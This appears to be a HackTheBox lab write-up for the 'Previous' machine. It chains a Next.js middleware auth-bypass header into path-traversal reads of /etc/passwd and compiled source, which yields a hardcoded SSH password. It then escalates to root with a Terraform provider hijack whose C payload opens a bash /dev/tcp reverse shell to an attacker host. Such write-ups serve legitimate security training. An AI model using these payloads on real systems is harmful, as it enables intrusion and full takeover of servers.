< BACK TO HUB
MEDIUM DIFFICULTY

PREVIOUS

TARGET OS: LINUX | AUTHOR: LEANDROS

Previous is a highly modern, Medium-rated Linux machine on HackTheBox that tests your ability to exploit cutting-edge web frameworks and infrastructure-as-code tools. The intrusion began by identifying an instance of Next.js vulnerable to a recent Authorization Bypass (CVE-2025-29927). Using this bypass, I fuzz-tested the API to uncover a Local File Inclusion (LFI) vulnerability. By carefully reading the compiled Next.js server files via LFI, I extracted hardcoded credentials to secure SSH access. Finally, I escalated to root by hijacking a Terraform provider via development overrides. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with an Nmap TCP port scan to map the target.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/

The Nmap scan revealed that port 80 redirects to a domain named previous.htb. I quickly added this to my /etc/hosts file and navigated to the site.

The landing page appeared to be a standard website. Digging into the footer, I found a contact email: jeremy@previous.htb, giving me a potential username for later. Next, I ran the Wappalyzer browser extension to analyze the technology stack.

PHASE 2: NEXT.JS BYPASS & LFI

Wappalyzer identified that the site was built using Next.js version 15.2.2. This is a critical piece of intelligence because this specific version is vulnerable to CVE-2025-29927, an Authorization Bypass vulnerability.

[!] VULNERABILITY DETECTED: NEXT.JS AUTH BYPASS

In certain Next.js setups, passing a specific header (X-Middleware-Subrequest: middleware:middleware:middleware...) tricks the routing engine into believing the request is an internal sub-request generated by the middleware itself. This effectively bypasses authentication and authorization checks protecting API endpoints.

I pulled down a Proof of Concept (PoC) script by UNICORDev and targeted the /api endpoint to confirm the vulnerability. The script successfully bypassed the authorization check and confirmed the header injection worked.

Since I could now bypass authentication on API endpoints, I wrote a quick Bash script to fuzz for common API routes (like /api/users, /api/upload, etc.) while passing the malicious header.

PAYLOAD - API FUZZER SCRIPT
ENDPOINTS=("users" "admin" "config" "settings" "database" "files" "upload" "download" "auth" "session")

for endpoint in "${ENDPOINTS[@]}"; do
    echo "Testing: /api/$endpoint"
    curl -s -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" "http://previous.htb/api/$endpoint" | head -20
done

The script hit paydirt on /api/download, which returned an error stating {"error":"Invalid filename"}. It was expecting a file parameter! I fired up ffuf to fuzz for the parameter name while continuing to pass the auth bypass header.

TERMINAL - FFUF PARAMETER FUZZING
ffuf -u 'http://previous.htb/api/download?FUZZ=../../../../../../etc/passwd' \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-w /usr/share/wordlists/dirb/big.txt

FFUF quickly identified that the parameter was named example. I issued a manual curl request to verify the Local File Inclusion (LFI).

TERMINAL - LFI VERIFICATION
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
"http://previous.htb/api/download?example=../../../../../../etc/passwd"

The server responded with the /etc/passwd file. I had successfully chained an Auth Bypass into an Arbitrary File Read.

PHASE 3: SOURCE CODE EXTRACTION TO FOOTHOLD

With LFI achieved, my goal was to extract the source code of the Next.js application to find credentials. I traversed backward a few directories and read ../../package.json, confirming the web app was running from the local directory.

Next.js applications compile their code into a hidden .next/ directory. Using the LFI, I downloaded the .next/server/pages-manifest.json file, which maps API routes to their compiled JavaScript files on the server.

TERMINAL - READING PAGES MANIFEST
{
  "/_app": "pages/_app.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/signin": "pages/signin.html"
}

The [...nextauth].js file handles authentication. I used the LFI to download it, analyzing the compiled, minified JavaScript code.

TERMINAL - EXTRACTING NEXTAUTH CONFIG
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
'http://previous.htb/api/download?example=../../.next/server/pages/api/auth/\[...nextauth\].js'

Buried inside the obfuscated code, I found hardcoded credentials in the authorize function:
authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")

I tested the password MyNameIsJeremyAndILovePancakes via SSH for the user jeremy. It worked perfectly. I bypassed the web layer entirely and secured my foothold, capturing the user.txt flag.

PHASE 4: PRIVILEGE ESCALATION (TERRAFORM)

Once on the machine, I checked my sudo privileges using sudo -l.

TERMINAL - PRIVILEGE ENUMERATION
User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir=/opt/examples apply

I could run Terraform with elevated privileges. Terraform is an Infrastructure-as-Code tool that uses "providers" (plugins) to interact with APIs (like AWS, Docker, etc.).

[!] EXPLOIT STRATEGY: TERRAFORM PROVIDER HIJACKING

Terraform has a feature called dev_overrides, designed for plugin developers. It allows you to configure a local .terraformrc file instructing Terraform to ignore the official plugin registry and instead load a custom, locally compiled binary whenever it runs an apply.

Because we can run Terraform as root, we can write a malicious C program that spawns a root shell, name it like a provider, and force Terraform to execute it.

I created a malicious C file that spawns a reverse shell back to my attacker machine and compiled it, mimicking a Terraform provider binary name.

PAYLOAD - MALICIOUS TERRAFORM PROVIDER
cat > /tmp/malprov/malicious.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
    system("bash -c 'bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1'");
    return 0;
}
EOF

gcc -o /tmp/malprov/terraform-provider-examples_v1.0.0 /tmp/malprov/malicious.c

Next, I created the .terraformrc configuration file to define the dev_overrides and point it to the directory containing my malicious binary.

PAYLOAD - .TERRAFORMRC OVERRIDE
cat > /home/jeremy/.terraformrc << 'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp/malprov"
  }
  direct {}
}
EOF

I started my Netcat listener. To execute the exploit, I ran the allowed sudo terraform command while passing an environment variable (TF_CLI_CONFIG_FILE) forcing Terraform to use my custom configuration file instead of the system default.

TERMINAL - EXECUTING ROOT EXPLOIT
TF_CLI_CONFIG_FILE=/home/jeremy/.terraformrc \
sudo /usr/bin/terraform -chdir=/opt/examples apply
OUTPUT
╷
│ Warning: Provider development overrides are in effect
│ 
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /tmp/malprov
╵

# On Attacker Machine:
listening on [any] 7777 ...
connect to [10.10.14.98] from (UNKNOWN) [10.10.11.83] 56516
root@previous:/opt/examples# whoami
root

Terraform loaded my malicious provider, executing my reverse shell as root! I claimed the root.txt flag. System Compromised.